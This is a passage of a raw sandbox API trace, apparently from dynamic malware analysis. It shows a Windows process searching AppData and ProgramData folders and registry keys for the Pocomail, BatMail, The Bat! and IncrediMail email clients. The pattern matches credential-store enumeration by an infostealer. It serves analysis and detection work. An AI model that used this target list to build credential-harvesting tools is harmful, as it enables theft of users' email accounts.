FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Pocomail\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.705] LocalFree (hMem=0x647ab8) returned 0x0 [0079.705] LocalFree (hMem=0x629248) returned 0x0 [0079.705] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.705] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.705] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.705] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.705] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.705] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.705] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.705] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.705] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.705] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.706] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x5c, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.706] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.706] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\IncrediMail", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.706] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\IncrediMail", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.706] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.706] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.706] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.706] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.706] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.706] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.706] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.706] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.706] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.706] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.706] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x5d, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.706] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.706] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.706] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.706] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.706] lstrlenA (lpString="\\BatMail") returned 8 [0079.706] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0079.706] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.706] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\BatMail" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail" [0079.706] LocalFree (hMem=0x66b940) returned 0x0 [0079.706] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail") returned 40 [0079.706] lstrlenA (lpString="\\*.*") returned 4 [0079.707] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647b70 [0079.707] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail" [0079.707] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail\\*.*" [0079.707] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.707] LocalFree (hMem=0x647b70) returned 0x0 [0079.707] LocalFree (hMem=0x647ab8) returned 0x0 [0079.707] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.707] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.707] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.707] lstrlenA (lpString="\\BatMail") returned 8 [0079.707] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.707] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.707] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\BatMail" | out: lpString1="C:\\ProgramData\\BatMail") returned="C:\\ProgramData\\BatMail" [0079.707] LocalFree (hMem=0x66b940) returned 0x0 [0079.707] lstrlenA (lpString="C:\\ProgramData\\BatMail") returned 22 [0079.707] lstrlenA (lpString="\\*.*") returned 4 [0079.707] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652d58 [0079.707] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData\\BatMail" | out: lpString1="C:\\ProgramData\\BatMail") returned="C:\\ProgramData\\BatMail" [0079.707] lstrcatA (in: lpString1="C:\\ProgramData\\BatMail", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\BatMail\\*.*") returned="C:\\ProgramData\\BatMail\\*.*" [0079.707] FindFirstFileA (in: lpFileName="C:\\ProgramData\\BatMail\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.707] LocalFree (hMem=0x652d58) returned 0x0 [0079.707] LocalFree (hMem=0x670c38) returned 0x0 [0079.707] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.707] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.707] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.707] lstrlenA (lpString="\\BatMail") returned 8 [0079.707] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0079.707] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.707] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\BatMail" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail" [0079.707] LocalFree (hMem=0x66b940) returned 0x0 [0079.707] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail") returned 38 [0079.707] lstrlenA (lpString="\\*.*") returned 4 [0079.707] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0079.707] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail" [0079.707] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail\\*.*" [0079.708] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.708] LocalFree (hMem=0x647ab8) returned 0x0 [0079.708] LocalFree (hMem=0x629248) returned 0x0 [0079.708] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.708] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.708] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.708] lstrlenA (lpString="\\BatMail") returned 8 [0079.708] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0079.708] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.708] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\BatMail" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail" [0079.708] LocalFree (hMem=0x66b940) returned 0x0 [0079.708] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail") returned 40 [0079.708] lstrlenA (lpString="\\*.*") returned 4 [0079.708] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647b70 [0079.708] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail" [0079.708] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail\\*.*" [0079.708] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BatMail\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.708] LocalFree (hMem=0x647b70) returned 0x0 [0079.708] LocalFree (hMem=0x647ab8) returned 0x0 [0079.708] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.708] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.708] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.708] lstrlenA (lpString="\\BatMail") returned 8 [0079.708] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.708] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.708] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\BatMail" | out: lpString1="C:\\ProgramData\\BatMail") returned="C:\\ProgramData\\BatMail" [0079.708] LocalFree (hMem=0x66b940) returned 0x0 [0079.708] lstrlenA (lpString="C:\\ProgramData\\BatMail") returned 22 [0079.708] lstrlenA (lpString="\\*.*") returned 4 [0079.708] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652d58 [0079.708] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData\\BatMail" | out: lpString1="C:\\ProgramData\\BatMail") returned="C:\\ProgramData\\BatMail" [0079.708] lstrcatA (in: lpString1="C:\\ProgramData\\BatMail", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\BatMail\\*.*") returned="C:\\ProgramData\\BatMail\\*.*" [0079.708] FindFirstFileA (in: lpFileName="C:\\ProgramData\\BatMail\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.708] LocalFree (hMem=0x652d58) returned 0x0 [0079.709] LocalFree (hMem=0x670c38) returned 0x0 [0079.709] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.709] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.709] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.709] lstrlenA (lpString="\\BatMail") returned 8 [0079.709] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0079.709] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.709] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\BatMail" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail" [0079.709] LocalFree (hMem=0x66b940) returned 0x0 [0079.709] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail") returned 38 [0079.709] lstrlenA (lpString="\\*.*") returned 4 [0079.709] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0079.709] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail" [0079.709] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail\\*.*" [0079.709] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\BatMail\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.709] LocalFree (hMem=0x647ab8) returned 0x0 [0079.709] LocalFree (hMem=0x629248) returned 0x0 [0079.709] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.709] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.709] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.709] lstrlenA (lpString="\\The Bat!") returned 9 [0079.709] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.709] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.709] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\The Bat!" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!" [0079.709] LocalFree (hMem=0x66b940) returned 0x0 [0079.709] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!") returned 41 [0079.709] lstrlenA (lpString="\\*.*") returned 4 [0079.709] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647b70 [0079.709] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!" [0079.709] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!\\*.*" [0079.709] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.709] LocalFree (hMem=0x647b70) returned 0x0 [0079.709] LocalFree (hMem=0x647ab8) returned 0x0 [0079.709] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.709] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.710] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.710] lstrlenA (lpString="\\The Bat!") returned 9 [0079.710] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670c38 [0079.710] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.710] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\The Bat!" | out: lpString1="C:\\ProgramData\\The Bat!") returned="C:\\ProgramData\\The Bat!" [0079.710] LocalFree (hMem=0x66b940) returned 0x0 [0079.710] lstrlenA (lpString="C:\\ProgramData\\The Bat!") returned 23 [0079.710] lstrlenA (lpString="\\*.*") returned 4 [0079.710] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652d58 [0079.710] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData\\The Bat!" | out: lpString1="C:\\ProgramData\\The Bat!") returned="C:\\ProgramData\\The Bat!" [0079.710] lstrcatA (in: lpString1="C:\\ProgramData\\The Bat!", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\The Bat!\\*.*") returned="C:\\ProgramData\\The Bat!\\*.*" [0079.710] FindFirstFileA (in: lpFileName="C:\\ProgramData\\The Bat!\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.710] LocalFree (hMem=0x652d58) returned 0x0 [0079.710] LocalFree (hMem=0x670c38) returned 0x0 [0079.710] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.710] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.710] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.710] lstrlenA (lpString="\\The Bat!") returned 9 [0079.710] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.710] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.710] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\The Bat!" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!" [0079.710] LocalFree (hMem=0x66b940) returned 0x0 [0079.710] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!") returned 39 [0079.710] lstrlenA (lpString="\\*.*") returned 4 [0079.710] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.710] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!" [0079.710] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!\\*.*" [0079.710] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.710] LocalFree (hMem=0x647ab8) returned 0x0 [0079.710] LocalFree (hMem=0x629248) returned 0x0 [0079.710] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.710] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.710] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.710] lstrlenA (lpString="\\The Bat!") returned 9 [0079.710] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.711] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.711] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\The Bat!" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!" [0079.711] LocalFree (hMem=0x66b940) returned 0x0 [0079.711] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!") returned 41 [0079.711] lstrlenA (lpString="\\*.*") returned 4 [0079.711] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647b70 [0079.711] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!" [0079.711] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!\\*.*" [0079.711] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\The Bat!\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.711] LocalFree (hMem=0x647b70) returned 0x0 [0079.711] LocalFree (hMem=0x647ab8) returned 0x0 [0079.711] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.711] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.711] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.711] lstrlenA (lpString="\\The Bat!") returned 9 [0079.711] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670c38 [0079.711] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.711] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\The Bat!" | out: lpString1="C:\\ProgramData\\The Bat!") returned="C:\\ProgramData\\The Bat!" [0079.711] LocalFree (hMem=0x66b940) returned 0x0 [0079.711] lstrlenA (lpString="C:\\ProgramData\\The Bat!") returned 23 [0079.711] lstrlenA (lpString="\\*.*") returned 4 [0079.711] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652d58 [0079.711] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData\\The Bat!" | out: lpString1="C:\\ProgramData\\The Bat!") returned="C:\\ProgramData\\The Bat!" [0079.711] lstrcatA (in: lpString1="C:\\ProgramData\\The Bat!", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\The Bat!\\*.*") returned="C:\\ProgramData\\The Bat!\\*.*" [0079.711] FindFirstFileA (in: lpFileName="C:\\ProgramData\\The Bat!\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.711] LocalFree (hMem=0x652d58) returned 0x0 [0079.711] LocalFree (hMem=0x670c38) returned 0x0 [0079.711] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.711] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.711] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.711] lstrlenA (lpString="\\The Bat!") returned 9 [0079.711] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.711] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.711] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\The Bat!" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!" [0079.711] LocalFree (hMem=0x66b940) returned 0x0 [0079.711] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!") returned 39 [0079.711] lstrlenA (lpString="\\*.*") returned 4 [0079.712] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.712] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!" [0079.712] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!\\*.*" [0079.712] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\The Bat!\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.712] LocalFree (hMem=0x647ab8) returned 0x0 [0079.712] LocalFree (hMem=0x629248) returned 0x0 [0079.712] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RIT\\The Bat!", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe68 | out: phkResult=0x12fe68*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000001, 